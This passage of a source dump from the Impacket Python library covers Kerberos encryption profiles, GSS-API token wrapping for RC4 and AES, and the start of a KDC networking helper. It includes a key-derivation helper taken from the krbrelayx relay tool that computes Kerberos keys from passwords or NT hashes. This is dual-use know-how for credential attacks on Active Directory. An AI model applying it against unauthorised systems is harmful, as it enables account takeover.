plaintext = b''\n        for bb in cblocks[:-2]:\n            plaintext += _xorbytes(bytearray(aes.decrypt(bytes(bb))), prev_cblock)\n            prev_cblock = bb\n        # Decrypt the second-to-last cipher block.  The left side of\n        # the decrypted block will be the final block of plaintext\n        # xor'd with the final partial cipher block; the right side\n        # will be the omitted bytes of ciphertext from the final\n        # block.\n        bb = bytearray(aes.decrypt(bytes(cblocks[-2])))\n        lastplaintext =_xorbytes(bb[:lastlen], cblocks[-1])\n        omitted = bb[lastlen:]\n        # Decrypt the final cipher block plus the omitted bytes to get\n        # the second-to-last plaintext block.\n        plaintext += _xorbytes(bytearray(aes.decrypt(bytes(cblocks[-1]) + bytes(omitted))), prev_cblock)\n        return plaintext + lastplaintext\n\n\nclass _AES128CTS(_AESEnctype):\n    enctype = Enctype.AES128\n    keysize = 16\n    seedsize = 16\n\n\nclass _AES256CTS(_AESEnctype):\n    enctype = Enctype.AES256\n    keysize = 32\n    seedsize = 32\n\n\nclass _RC4(_EnctypeProfile):\n    enctype = Enctype.RC4\n    keysize = 16\n    seedsize = 16\n\n    @staticmethod\n    def usage_str(keyusage):\n        # Return a four-byte string for an RFC 3961 keyusage, using\n        # the RFC 4757 rules.  Per the errata, do not map 9 to 8.\n        table = {3: 8, 23: 13}\n        msusage = table[keyusage] if keyusage in table else keyusage\n        return pack('<I', msusage)\n\n    @classmethod\n    def string_to_key(cls, string, salt, params):\n        utf16string = string.encode('UTF-16LE')\n        return Key(cls.enctype, MD4.new(utf16string).digest())\n\n    @classmethod\n    def encrypt(cls, key, keyusage, plaintext, confounder):\n        if confounder is None:\n            confounder = get_random_bytes(8)\n        ki = HMAC.new(key.contents, cls.usage_str(keyusage), MD5).digest()\n        cksum = HMAC.new(ki, confounder + plaintext, MD5).digest()\n        ke = HMAC.new(ki, cksum, MD5).digest()\n        return cksum + ARC4.new(ke).encrypt(bytes(confounder + plaintext))\n\n    @classmethod\n    def decrypt(cls, key, keyusage, ciphertext):\n        if len(ciphertext) < 24:\n            raise ValueError('ciphertext too short')\n        cksum, basic_ctext = bytearray(ciphertext[:16]), bytearray(ciphertext[16:])\n        ki = HMAC.new(key.contents, cls.usage_str(keyusage), MD5).digest()\n        ke = HMAC.new(ki, cksum, MD5).digest()\n        basic_plaintext = bytearray(ARC4.new(ke).decrypt(bytes(basic_ctext)))\n        exp_cksum = bytearray(HMAC.new(ki, basic_plaintext, MD5).digest())\n        ok = _mac_equal(cksum, exp_cksum)\n        if not ok and keyusage == 9:\n            # Try again with usage 8, due to RFC 4757 errata.\n            ki = HMAC.new(key.contents, pack('<I', 8), MD5).digest()\n            exp_cksum = HMAC.new(ki, basic_plaintext, MD5).digest()\n            ok = _mac_equal(cksum, exp_cksum)\n        if not ok:\n            raise InvalidChecksum('ciphertext integrity failure')\n        # Discard the confounder.\n        return bytes(basic_plaintext[8:])\n\n    @classmethod\n    def prf(cls, key, string):\n        return HMAC.new(key.contents, bytes(string), SHA).digest()\n\n\nclass _ChecksumProfile(object):\n    # Base class for checksum profiles.  Usable checksum classes must\n    # define:\n    #   * checksum\n    #   * verify (if verification is not just checksum-and-compare)\n    @classmethod\n    def verify(cls, key, keyusage, text, cksum):\n        expected = cls.checksum(key, keyusage, text)\n        if not _mac_equal(bytearray(cksum), bytearray(expected)):\n            raise InvalidChecksum('checksum verification failure')\n\n\nclass _SimplifiedChecksum(_ChecksumProfile):\n    # Base class for checksums using the RFC 3961 simplified profile.\n    # Defines the checksum and verify methods.  Subclasses must\n    # define:\n    #   * macsize: Size of checksum in bytes\n    #   * enc: Profile of associated enctype\n\n    @classmethod\n    def checksum(cls, key, keyusage, text):\n        kc = cls.enc.derive(key, pack('>IB', keyusage, 0x99))\n        hmac = HMAC.new(kc.contents, text, cls.enc.hashmod).digest()\n        return hmac[:cls.macsize]\n\n    @classmethod\n    def verify(cls, key, keyusage, text, cksum):\n        if key.enctype != cls.enc.enctype:\n            raise ValueError('Wrong key type for checksum')\n        super(_SimplifiedChecksum, cls).verify(key, keyusage, text, cksum)\n\n\nclass _SHA1AES128(_SimplifiedChecksum):\n    macsize = 12\n    enc = _AES128CTS\n\n\nclass _SHA1AES256(_SimplifiedChecksum):\n    macsize = 12\n    enc = _AES256CTS\n\n\nclass _SHA1DES3(_SimplifiedChecksum):\n    macsize = 20\n    enc = _DES3CBC\n\n\nclass _HMACMD5(_ChecksumProfile):\n    @classmethod\n    def checksum(cls, key, keyusage, text):\n        ksign = HMAC.new(key.contents, b'signaturekey\\0', MD5).digest()\n        md5hash = MD5.new(_RC4.usage_str(keyusage) + text).digest()\n        return HMAC.new(ksign, md5hash, MD5).digest()\n\n    @classmethod\n    def verify(cls, key, keyusage, text, cksum):\n        if key.enctype != Enctype.RC4:\n            raise ValueError('Wrong key type for checksum')\n        super(_HMACMD5, cls).verify(key, keyusage, text, cksum)\n\n\n_enctype_table = {\n    Enctype.DES_MD5: _DESCBC,\n    Enctype.DES3: _DES3CBC,\n    Enctype.AES128: _AES128CTS,\n    Enctype.AES256: _AES256CTS,\n    Enctype.RC4: _RC4\n}\n\n\n_checksum_table = {\n    Cksumtype.SHA1_DES3: _SHA1DES3,\n    Cksumtype.SHA1_AES128: _SHA1AES128,\n    Cksumtype.SHA1_AES256: _SHA1AES256,\n    Cksumtype.HMAC_MD5: _HMACMD5,\n    0xffffff76: _HMACMD5\n}\n\n\ndef _get_enctype_profile(enctype):\n    if enctype not in _enctype_table:\n        raise ValueError('Invalid enctype %d' % enctype)\n    return _enctype_table[enctype]\n\n\ndef _get_checksum_profile(cksumtype):\n    if cksumtype not in _checksum_table:\n        raise ValueError('Invalid cksumtype %d' % cksumtype)\n    return _checksum_table[cksumtype]\n\n\nclass Key(object):\n    def __init__(self, enctype, contents):\n        e = _get_enctype_profile(enctype)\n        if len(contents) != e.keysize:\n            raise ValueError('Wrong key length')\n        self.enctype = enctype\n        self.contents = contents\n\n\ndef random_to_key(enctype, seed):\n    e = _get_enctype_profile(enctype)\n    if len(seed) != e.seedsize:\n        raise ValueError('Wrong crypto seed length')\n    return e.random_to_key(seed)\n\n\ndef string_to_key(enctype, string, salt, params=None):\n    e = _get_enctype_profile(enctype)\n    return e.string_to_key(string, salt, params)\n\n\ndef encrypt(key, keyusage, plaintext, confounder=None):\n    e = _get_enctype_profile(key.enctype)\n    return e.encrypt(key, keyusage, bytes(plaintext), bytes(confounder))\n\n\ndef decrypt(key, keyusage, ciphertext):\n    # Throw InvalidChecksum on checksum failure.  Throw ValueError on\n    # invalid key enctype or malformed ciphertext.\n    e = _get_enctype_profile(key.enctype)\n    return e.decrypt(key, keyusage, ciphertext)\n\n\ndef prf(key, string):\n    e = _get_enctype_profile(key.enctype)\n    return e.prf(key, string)\n\n\ndef make_checksum(cksumtype, key, keyusage, text):\n    c = _get_checksum_profile(cksumtype)\n    return c.checksum(key, keyusage, text)\n\n\ndef verify_checksum(cksumtype, key, keyusage, text, cksum):\n    # Throw InvalidChecksum exception on checksum failure.  Throw\n    # ValueError on invalid cksumtype, invalid key enctype, or\n    # malformed checksum.\n    c = _get_checksum_profile(cksumtype)\n    c.verify(key, keyusage, text, cksum)\n\n\ndef cf2(enctype, key1, key2, pepper1, pepper2):\n    # Combine two keys and two pepper strings to produce a result key\n    # of type enctype, using the RFC 6113 KRB-FX-CF2 function.\n    def prfplus(key, pepper, l):\n        # Produce l bytes of output using the RFC 6113 PRF+ function.\n        out = b''\n        count = 1\n        while len(out) < l:\n            out += prf(key, b(chr(count)) + pepper)\n            count += 1\n        return out[:l]\n\n    e = _get_enctype_profile(enctype)\n    return e.random_to_key(_xorbytes(bytearray(prfplus(key1, pepper1, e.seedsize)),\n                                     bytearray(prfplus(key2, pepper2, e.seedsize))))\n\ndef generate_kerberos_keys(rc4=None, aes=None, password=None, hex_pass=None, salt=None, user=None, domain=None):\n    # copypasta from krbrelayx.py\n    # Store Kerberos keys\n    keys = {}\n    if rc4:\n        keys[int(constants.EncryptionTypes.rc4_hmac.value)] = unhexlify(rc4)\n    if aes:\n        if len(aes) == 64:\n            keys[int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value)] = unhexlify(aes)\n        else:\n            keys[int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)] = unhexlify(aes)\n    ekeys = {}\n    for kt, key in keys.items():\n        ekeys[kt] = Key(kt, key)\n\n    allciphers = [\n        int(constants.EncryptionTypes.rc4_hmac.value),\n        int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),\n        int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)\n    ]\n\n    # Calculate Kerberos keys from specified password/salt\n    if password or hex_pass:\n        if not salt and user and domain: # https://www.thehacker.recipes/ad/movement/kerberos\n            if user.endswith('$'):\n                salt = \"%shost%s.%s\" % (domain.upper(), user.rstrip('$').lower(), domain.lower())\n            else:\n                salt = \"%s%s\" % (domain.upper(), user)\n        for cipher in allciphers:\n            if cipher == 23 and hex_pass:\n                # RC4 calculation is done manually for raw passwords\n                md4 = MD4.new()\n                md4.update(unhexlify(hex_pass))\n                ekeys[cipher] = Key(cipher, md4.digest())\n                logging.debug('Calculated type %s (%d) Kerberos key: %s' % (constants.EncryptionTypes(cipher).name, cipher, hexlify(ekeys[cipher].contents).decode('utf-8')))\n            elif salt:\n                # Do conversion magic for raw passwords\n                if hex_pass:\n                    rawsecret = unhexlify(hex_pass).decode('utf-16-le', 'replace').encode('utf-8', 'replace')\n                else:\n                    # If not raw, it was specified from the command line, assume it's not UTF-16\n                    rawsecret = password\n                ekeys[cipher] = string_to_key(cipher, rawsecret, salt)\n                logging.debug('Calculated type %s (%d) Kerberos key: %s' % (constants.EncryptionTypes(cipher).name, cipher, hexlify(ekeys[cipher].contents).decode('utf-8')))\n            else:\n                logging.debug('Cannot calculate type %s (%d) Kerberos key: salt is None: Missing -s/--salt or (-u/--user and -d/--domain)' % (constants.EncryptionTypes(cipher).name, cipher))\n    else:\n        logging.debug('No password supplied, skipping Kerberos keys calculation')\n    return ekeys"
  },
  {
    "path": "impacket/krb5/gssapi.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   RFC 1964 Partial Implementation\n#   RFC 4757 Partial Implementation\n#   RFC 4121 Partial Implementation\n#   RFC 3962 Partial Implementation\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nimport struct\nimport random\nimport string\nfrom six import b\n\nfrom Cryptodome.Hash import HMAC, MD5\nfrom Cryptodome.Cipher import ARC4\n\nfrom impacket.structure import Structure\nfrom impacket.krb5 import constants, crypto\n\n# Our random number generator\ntry:\n    rand = random.SystemRandom()\nexcept NotImplementedError:\n    rand = random\n    pass\n\n# Constants\nGSS_C_DCE_STYLE     = 0x1000\nGSS_C_DELEG_FLAG    = 1\nGSS_C_MUTUAL_FLAG   = 2\nGSS_C_REPLAY_FLAG   = 4\nGSS_C_SEQUENCE_FLAG = 8\nGSS_C_CONF_FLAG     = 0x10\nGSS_C_INTEG_FLAG    = 0x20\n\n# Mic Semantics\nGSS_HMAC = 0x11\n# Wrap Semantics\nGSS_RC4  = 0x10\n\n# 2.  Key Derivation for Per-Message Tokens\nKG_USAGE_ACCEPTOR_SEAL  = 22\nKG_USAGE_ACCEPTOR_SIGN  = 23\nKG_USAGE_INITIATOR_SEAL = 24\nKG_USAGE_INITIATOR_SIGN = 25\n\nKRB5_AP_REQ = struct.pack('<H', 0x1)\n\n# Kerberos OID: 1.2.840.113554.1.2.2\nKRB_OID = b'\\x06\\t*\\x86H\\x86\\xf7\\x12\\x01\\x02\\x02'\n\ndef _calculateMICPad(data):\n    # Let's pad the data\n    pad = (4 - (len(data) % 4)) & 0x3\n    padbuffer = struct.pack(\"<B\",pad) * pad\n    return padbuffer\n\nclass MechIndepToken():\n    \n    def __init__(self, data=None, oid=KRB_OID):\n        self.data = data\n        self.token_oid = oid\n    \n    @staticmethod\n    def from_bytes(data=None):\n        if data[0:1] != b'\\x60':\n            raise Exception('Incorrect token data!')\n        data = data[1:]\n        length, data = MechIndepToken.get_length(data)\n        token_data = data[0:length]\n        oid_length, data = MechIndepToken.get_length(token_data[1:])\n        token_oid = token_data[0:oid_length+2]\n        data = token_data[oid_length+2:]\n        return MechIndepToken(data, token_oid)\n\n    @staticmethod\n    def get_length(data):\n        if data[0] < 128:\n            return data[0], data[1:]\n        else:\n            bytes_count = data[0] - 128\n            return int.from_bytes(data[1:1+bytes_count], byteorder='big', signed=False), data[1+bytes_count:]\n\n    @staticmethod\n    def encode_length(length):\n        if length < 128:\n            return length.to_bytes(1, byteorder = 'big', signed = False)\n        else:\n            lb = length.to_bytes((length.bit_length() + 7) // 8, 'big')\n            return (128+len(lb)).to_bytes(1, byteorder = 'big', signed = False) + lb\n\n    def to_bytes(self):\n        temp = self.token_oid + self.data\n        temp = b'\\x60' + self.encode_length(len(temp)) + temp\n        return temp[:-len(self.data)], self.data\n\n# 1.1.1. Initial Token - Checksum field\nclass CheckSumField(Structure):\n    structure = (\n        ('Lgth','<L=16'),\n        ('Bnd','16s=b\"\"'),\n        ('Flags','<L=0'),\n    )\n\ndef GSSAPI(cipher):\n    if cipher.enctype == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:\n        return GSSAPI_AES256()\n    if cipher.enctype == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:\n        return GSSAPI_AES128()\n    elif cipher.enctype == constants.EncryptionTypes.rc4_hmac.value:\n        return GSSAPI_RC4()\n    else:\n        raise Exception('Unsupported etype 0x%x' % cipher.enctype)\n\n# 7.2.   GSS-API MIC Semantics\nclass GSSAPI_RC4:\n    # 1.2.1. Per-message Tokens - MIC\n    class MIC(Structure):\n        structure = (\n            ('TOK_ID','<H=0x0101'),\n            ('SGN_ALG','<H=0'),\n            ('Filler','<L=0xffffffff'),\n            ('SND_SEQ','8s=b\"\"'),\n            ('SGN_CKSUM','8s=b\"\"'),\n        )\n\n    # 1.2.2. Per-message Tokens - Wrap\n    class WRAP(Structure):\n        structure = (\n            ('TOK_ID','<H=0x0102'),\n            ('SGN_ALG','<H=0'),\n            ('SEAL_ALG','<H=0'),\n            ('Filler','<H=0xffff'),\n            ('SND_SEQ','8s=b\"\"'),\n            ('SGN_CKSUM','8s=b\"\"'),\n            ('Confounder','8s=b\"\"'),\n        )\n\n    def GSS_GetMIC(self, sessionKey, data, sequenceNumber, direction = 'init'):\n        GSS_GETMIC_HEADER = b'\\x60\\x23\\x06\\x09\\x2a\\x86\\x48\\x86\\xf7\\x12\\x01\\x02\\x02'\n        token = self.MIC()\n\n        pad = _calculateMICPad(data)\n        data += pad\n \n        token['SGN_ALG'] = GSS_HMAC\n        if direction == 'init':\n            token['SND_SEQ'] = struct.pack('>L', sequenceNumber) + b'\\x00'*4\n        else:\n            token['SND_SEQ'] = struct.pack('>L', sequenceNumber) + b'\\xff'*4\n\n        Ksign = HMAC.new(sessionKey.contents, b'signaturekey\\0', MD5).digest()\n        Sgn_Cksum = MD5.new( struct.pack('<L',15) + token.getData()[:8] + data).digest()\n        Sgn_Cksum = HMAC.new(Ksign, Sgn_Cksum, MD5).digest()\n        token['SGN_CKSUM'] = Sgn_Cksum[:8]\n\n        Kseq = HMAC.new(sessionKey.contents, struct.pack('<L',0), MD5).digest()\n        Kseq = HMAC.new(Kseq, token['SGN_CKSUM'], MD5).digest()\n        token['SND_SEQ'] = ARC4.new(Kseq).encrypt(token['SND_SEQ'])\n        finalData = GSS_GETMIC_HEADER + token.getData()\n        return finalData\n   \n    def GSS_Wrap(self, sessionKey, data, sequenceNumber, direction = 'init', encrypt=True, authData=None):\n        # Damn inacurate RFC, useful info from here\n        # https://social.msdn.microsoft.com/Forums/en-US/fb98e8f4-e697-4652-bcb7-604e027e14cc/gsswrap-token-size-kerberos-and-rc4hmac?forum=os_windowsprotocols\n        # and here\n        # http://www.rfc-editor.org/errata_search.php?rfc=4757\n        GSS_WRAP_HEADER = b'\\x60\\x2b\\x06\\x09\\x2a\\x86\\x48\\x86\\xf7\\x12\\x01\\x02\\x02'\n        token = self.WRAP()\n\n        # Let's pad the data\n        pad = (8 - (len(data) % 8)) & 0x7\n        padStr = b(chr(pad)) * pad\n        data += padStr\n\n        token['SGN_ALG'] = GSS_HMAC\n        token['SEAL_ALG'] = GSS_RC4\n\n        if direction == 'init':\n            token['SND_SEQ'] = struct.pack('>L', sequenceNumber) + b'\\x00'*4\n        else:\n            token['SND_SEQ'] = struct.pack('>L', sequenceNumber) + b'\\xff'*4\n\n        # Random confounder :)\n        token['Confounder'] = b(''.join([rand.choice(string.ascii_letters) for _ in range(8)]))\n\n        Ksign = HMAC.new(sessionKey.contents, b'signaturekey\\0', MD5).digest()\n        Sgn_Cksum = MD5.new(struct.pack('<L',13) + token.getData()[:8] + token['Confounder'] + data).digest()\n\n        Klocal = bytearray()\n        from builtins import bytes\n        for n in bytes(sessionKey.contents):\n            Klocal.append( n ^ 0xF0)\n\n        Kcrypt = HMAC.new(Klocal,struct.pack('<L',0), MD5).digest()\n        Kcrypt = HMAC.new(Kcrypt,struct.pack('>L', sequenceNumber), MD5).digest()\n        \n        Sgn_Cksum = HMAC.new(Ksign, Sgn_Cksum, MD5).digest()\n\n        token['SGN_CKSUM'] = Sgn_Cksum[:8]\n\n        Kseq = HMAC.new(sessionKey.contents, struct.pack('<L',0), MD5).digest()\n        Kseq = HMAC.new(Kseq, token['SGN_CKSUM'], MD5).digest()\n\n        token['SND_SEQ'] = ARC4.new(Kseq).encrypt(token['SND_SEQ'])\n\n        if authData is not None:\n            from impacket.dcerpc.v5.rpcrt import SEC_TRAILER\n            wrap = self.WRAP(authData[len(SEC_TRAILER()) + len(GSS_WRAP_HEADER):])\n            snd_seq = wrap['SND_SEQ']\n\n            Kseq = HMAC.new(sessionKey.contents, struct.pack('<L',0), MD5).digest()\n            Kseq = HMAC.new(Kseq, wrap['SGN_CKSUM'], MD5).digest()\n\n            snd_seq = ARC4.new(Kseq).encrypt(wrap['SND_SEQ'])\n \n            Kcrypt = HMAC.new(Klocal,struct.pack('<L',0), MD5).digest()\n            Kcrypt = HMAC.new(Kcrypt,snd_seq[:4], MD5).digest()\n            rc4 = ARC4.new(Kcrypt)\n            cipherText = rc4.decrypt(token['Confounder'] + data)[8:]\n        elif encrypt is True:\n            rc4 = ARC4.new(Kcrypt)\n            token['Confounder'] = rc4.encrypt(token['Confounder'])\n            cipherText = rc4.encrypt(data)\n        else:\n            cipherText = data\n\n        finalData = GSS_WRAP_HEADER + token.getData()\n        return cipherText, finalData\n\n    def GSS_Unwrap(self, sessionKey, data, sequenceNumber, direction = 'init', encrypt=True, authData=None):\n        return self.GSS_Wrap(sessionKey, data, sequenceNumber, direction, encrypt, authData)\n\n    def GSS_Wrap_LDAP(self, sessionKey, data, sequenceNumber, direction = 'init', encrypt=True):\n       \n        if encrypt:\n            data += b'\\x01'\n\n        token = self.WRAP()\n        token['SGN_ALG'] = GSS_HMAC\n        token['SEAL_ALG'] = GSS_RC4\n\n        if direction == 'init':\n            token['SND_SEQ'] = struct.pack('>L', sequenceNumber) + b'\\x00'*4\n        else:\n            token['SND_SEQ'] = struct.pack('>L', sequenceNumber) + b'\\xff'*4\n\n        # Random confounder :)\n        token['Confounder'] = b(''.join([rand.choice(string.ascii_letters) for _ in range(8)]))\n\n        Ksign = HMAC.new(sessionKey.contents, b'signaturekey\\0', MD5).digest()\n        Sgn_Cksum = MD5.new(struct.pack('<L',13) + token.getData()[:8] + token['Confounder'] + data).digest()\n\n        Klocal = bytearray()\n        from builtins import bytes\n        for n in bytes(sessionKey.contents):\n            Klocal.append( n ^ 0xF0)\n\n        Kcrypt = HMAC.new(Klocal,struct.pack('<L',0), MD5).digest()\n        Kcrypt = HMAC.new(Kcrypt,struct.pack('>L', sequenceNumber), MD5).digest()\n        \n        Sgn_Cksum = HMAC.new(Ksign, Sgn_Cksum, MD5).digest()\n\n        token['SGN_CKSUM'] = Sgn_Cksum[:8]\n\n        Kseq = HMAC.new(sessionKey.contents, struct.pack('<L',0), MD5).digest()\n        Kseq = HMAC.new(Kseq, token['SGN_CKSUM'], MD5).digest()\n\n        token['SND_SEQ'] = ARC4.new(Kseq).encrypt(token['SND_SEQ'])\n\n        if encrypt is False:\n            sspi_wrap = MechIndepToken.from_bytes(data)\n\n            wrap = self.WRAP(sspi_wrap.data[:32])\n            data = sspi_wrap.data[32:]\n            \n            Kseq = HMAC.new(sessionKey.contents, struct.pack('<L',0), MD5).digest()\n            Kseq = HMAC.new(Kseq, wrap['SGN_CKSUM'], MD5).digest()\n\n            snd_seq = ARC4.new(Kseq).encrypt(wrap['SND_SEQ'])\n\n            Kcrypt = HMAC.new(Klocal,struct.pack('<L',0), MD5).digest()\n            Kcrypt = HMAC.new(Kcrypt,snd_seq[:4], MD5).digest()\n            rc4 = ARC4.new(Kcrypt)\n            cipherText = rc4.decrypt(token['Confounder'] + data)[8:]\n            return cipherText[:-1], None\n        \n        elif encrypt is True:\n            rc4 = ARC4.new(Kcrypt)\n            token['Confounder'] = rc4.encrypt(token['Confounder'])\n            cipherText = rc4.encrypt(data)\n            finalData, cipherText = MechIndepToken(token.getData() + cipherText, KRB_OID).to_bytes()\n            return cipherText, finalData\n\n    def GSS_Unwrap_LDAP(self, sessionKey, data, sequenceNumber, direction = 'init'):\n        return self.GSS_Wrap_LDAP(sessionKey, data, sequenceNumber, direction, encrypt=False)\n\nclass GSSAPI_AES():\n    checkSumProfile = None\n    cipherType = None\n\n    class MIC(Structure):\n        structure = (\n            ('TOK_ID','>H=0x0404'),\n            ('Flags','B=0'),\n            ('Filler0','B=0xff'),\n            ('Filler','>L=0xffffffff'),\n            ('SND_SEQ','8s=b\"\"'),\n            ('SGN_CKSUM','12s=b\"\"'),\n        )\n\n    # 1.2.2. Per-message Tokens - Wrap\n    class WRAP(Structure):\n        structure = (\n            ('TOK_ID','>H=0x0504'),\n            ('Flags','B=0'),\n            ('Filler','B=0xff'),\n            ('EC','>H=0'),\n            ('RRC','>H=0'),\n            ('SND_SEQ','8s=b\"\"'),\n        )\n\n    def GSS_GetMIC(self, sessionKey, data, sequenceNumber, direction = 'init'):\n        token = self.MIC()\n\n        pad = _calculateMICPad(data)\n        data += pad\n\n        checkSumProfile = self.checkSumProfile()\n\n        token['Flags'] = 4\n        token['SND_SEQ'] = struct.pack('>Q',sequenceNumber)\n        token['SGN_CKSUM'] = checkSumProfile.checksum(sessionKey, KG_USAGE_INITIATOR_SIGN, data + token.getData()[:16])\n \n        return token.getData()\n   \n    def rotate(self, data, numBytes):\n        numBytes %= len(data)\n        left = len(data) - numBytes\n        result = data[left:] + data[:left]\n        return result\n\n    def unrotate(self, data, numBytes):\n        numBytes %= len(data)\n        result = data[numBytes:] + data[:numBytes]\n        return result\n        \n    def GSS_Wrap(self, sessionKey, data, sequenceNumber, direction = 'init', encrypt=True):\n        token = self.WRAP()\n\n        cipher = self.cipherType()\n\n        # Let's pad the data\n        pad = (cipher.blocksize - (len(data) % cipher.blocksize)) & 15\n        padStr = b'\\xFF' * pad\n        data += padStr\n\n        # The RRC field ([RFC4121] section 4.2.5) is 12 if no encryption is requested or 28 if encryption \n        # is requested. The RRC field is chosen such that all the data can be encrypted in place.\n        rrc = 28\n\n        token['Flags'] = 6\n        token['EC'] = pad\n        token['RRC'] = 0\n        token['SND_SEQ'] = struct.pack('>Q',sequenceNumber)\n\n        cipherText = cipher.encrypt(sessionKey, KG_USAGE_INITIATOR_SEAL,  data + token.getData(), None)\n        token['RRC'] = rrc\n\n        cipherText = self.rotate(cipherText, token['RRC'] + token['EC'])\n\n        #nn = self.unrotate(cipherText, token['RRC'] + token['EC'])\n        ret1 = cipherText[len(self.WRAP()) + token['RRC'] + token['EC']:]\n        ret2 = token.getData() + cipherText[:len(self.WRAP()) + token['RRC'] + token['EC']]\n\n        return ret1, ret2\n\n    def GSS_Unwrap(self, sessionKey, data, sequenceNumber, direction = 'init', encrypt=True, authData=None):\n        from impacket.dcerpc.v5.rpcrt import SEC_TRAILER\n\n        cipher = self.cipherType()\n        token = self.WRAP(authData[len(SEC_TRAILER()):])\n\n        rotated = authData[len(self.WRAP())+len(SEC_TRAILER()):] + data\n \n        cipherText = self.unrotate(rotated, token['RRC'] + token['EC'])\n        plainText = cipher.decrypt(sessionKey, KG_USAGE_ACCEPTOR_SEAL,  cipherText)\n\n        return plainText[:-(token['EC']+len(self.WRAP()))], None\n\n    def GSS_Wrap_LDAP(self, sessionKey, data, sequenceNumber, direction = 'init', encrypt=True, use_padding=False):\n        token = self.WRAP()\n\n        cipher = self.cipherType()\n\n        pad = 0\n        if use_padding:\n        # Let's pad the data\n            pad = (cipher.blocksize - (len(data) % cipher.blocksize)) & 15\n            padStr = b'\\xFF' * pad\n            data += padStr\n\n        # The RRC field ([RFC4121] section 4.2.5) is 12 if no encryption is requested or 28 if encryption \n        # is requested. The RRC field is chosen such that all the data can be encrypted in place.\n        rrc = 28\n\n        token['Flags'] = 6\n        token['EC'] = pad\n        token['RRC'] = 0\n        token['SND_SEQ'] = struct.pack('>Q',sequenceNumber)\n\n        cipherText = cipher.encrypt(sessionKey, KG_USAGE_INITIATOR_SEAL,  data + token.getData(), None)\n        token['RRC'] = rrc\n\n        cipherText = self.rotate(cipherText, token['RRC'] + token['EC'])\n\n        #nn = self.unrotate(cipherText, token['RRC'] + token['EC'])\n        # ret1 = cipherText[len(self.WRAP()) + token['RRC'] + token['EC']:]\n        # ret2 = token.getData() + cipherText[:len(self.WRAP()) + token['RRC'] + token['EC']]\n        ret1 = cipherText\n        ret2 = token.getData()\n\n        return ret1, ret2\n\n    def GSS_Unwrap_LDAP(self, sessionKey, data, sequenceNumber, direction = 'init'):\n\n        cipher = self.cipherType()\n        token = self.WRAP(data[:16])\n\n        rotated = data[16:]\n \n        cipherText = self.unrotate(rotated, token['RRC'] + token['EC'])\n        plainText = cipher.decrypt(sessionKey, KG_USAGE_ACCEPTOR_SEAL,  cipherText)\n\n        return plainText[:-(token['EC']+ 16)], None\n\nclass GSSAPI_AES256(GSSAPI_AES):\n    checkSumProfile = crypto._SHA1AES256\n    cipherType = crypto._AES256CTS\n\nclass GSSAPI_AES128(GSSAPI_AES):\n    checkSumProfile = crypto._SHA1AES128\n    cipherType = crypto._AES128CTS\n"
  },
  {
    "path": "impacket/krb5/kerberosv5.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Helper functions for kerberos\n#   Just starting, TONS of things to do\n#   In fact, make it easier\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\nimport datetime\nimport random\nimport socket\nimport struct\n\nfrom pyasn1.codec.der import decoder, encoder\nfrom pyasn1.error import PyAsn1Error\nfrom pyasn1.type.univ import noValue, Sequence\nfrom pyasn1.type.useful import GeneralizedTime\nfrom six import b\nfrom binascii import unhexlify, hexlify\n\nfrom impacket.krb5.asn1 import AS_REQ, AP_REQ, TGS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, PA_ENC_TS_ENC, AS_REP, TGS_REP, \\\n    EncryptedData, Authenticator, EncASRepPart, EncTGSRepPart, seq_set, seq_set_iter, KERB_ERROR_DATA, METHOD_DATA, \\\n    ETYPE_INFO2, ETYPE_INFO, AP_REP, EncAPRepPart, KERB_SUPERSEDED_BY_USER\nfrom impacket.krb5.types import KerberosTime, Principal, Ticket\nfrom impacket.krb5.gssapi import CheckSumField, GSS_C_DCE_STYLE, GSS_C_MUTUAL_FLAG, GSS_C_REPLAY_FLAG, \\\n    GSS_C_SEQUENCE_FLAG, GSS_C_CONF_FLAG, GSS_C_INTEG_FLAG\nfrom impacket.krb5 import constants\nfrom impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum\nfrom impacket.smbconnection import SessionError\nfrom impacket.spnego import SPNEGO_NegTokenInit, TypesMech, SPNEGO_NegTokenResp, ASN1_OID, asn1encode, ASN1_AID\nfrom impacket.krb5.gssapi import KRB5_AP_REQ\nfrom impacket import nt_errors, LOG\nfrom impacket.krb5.ccache import CCache\n\n# Our random number generator\ntry:\n    rand = random.SystemRandom()\nexcept NotImplementedError:\n    rand = random\n    pass\n\ndef sendReceive(data, host, kdcHost, port=88):\n    if kdcHost is None:\n        targetHost = host\n    else:\n        targetHost = kdcHost\n\n    messageLen = struct.pack('!i', len(data))\n\n    LOG.debug('Trying to connect to KDC at %s:%s' % (targetHost, port))\n    try:\n        af, socktype, proto, canonname, sa = socket.getaddrinfo(targetHost, port, 0, socket.SOCK_STREAM)[0]\n        s = socket.socket(af, socktype, proto)\n        s.connect(sa)\n    except socket.error as e:\n        raise socket.error(\"Connection error (%s:%s)\" % (targetHost, port), e)\n\n    s.sendall(messageLen + data)\n\n    recvDataLen = struct.unpack('!i', s.recv(4))[0]\n\n    r = s.recv(recvDataLen)\n    while len(r) < recvDataLen:\n        r += s.recv(recvDataLen-len(r))\n\n    try:\n        krbError = KerberosError(packet = decoder.decode(r, asn1Spec = KRB_ERROR())[0])\n    except:\n        return r\n\n    if krbError.getErrorCode() != constants.ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value:\n        try:\n            for i in decoder.decode(r):\n                if type(i) == Sequence:\n                    for k in vars(i)[\"_componentValues\"]:\n                        if type(k) == GeneralizedTime:\n                            server_time = datetime.datetime.strptime(k.asOctets().decode(\"utf-8\"), \"%Y%m%d%H%M%SZ\")\n                            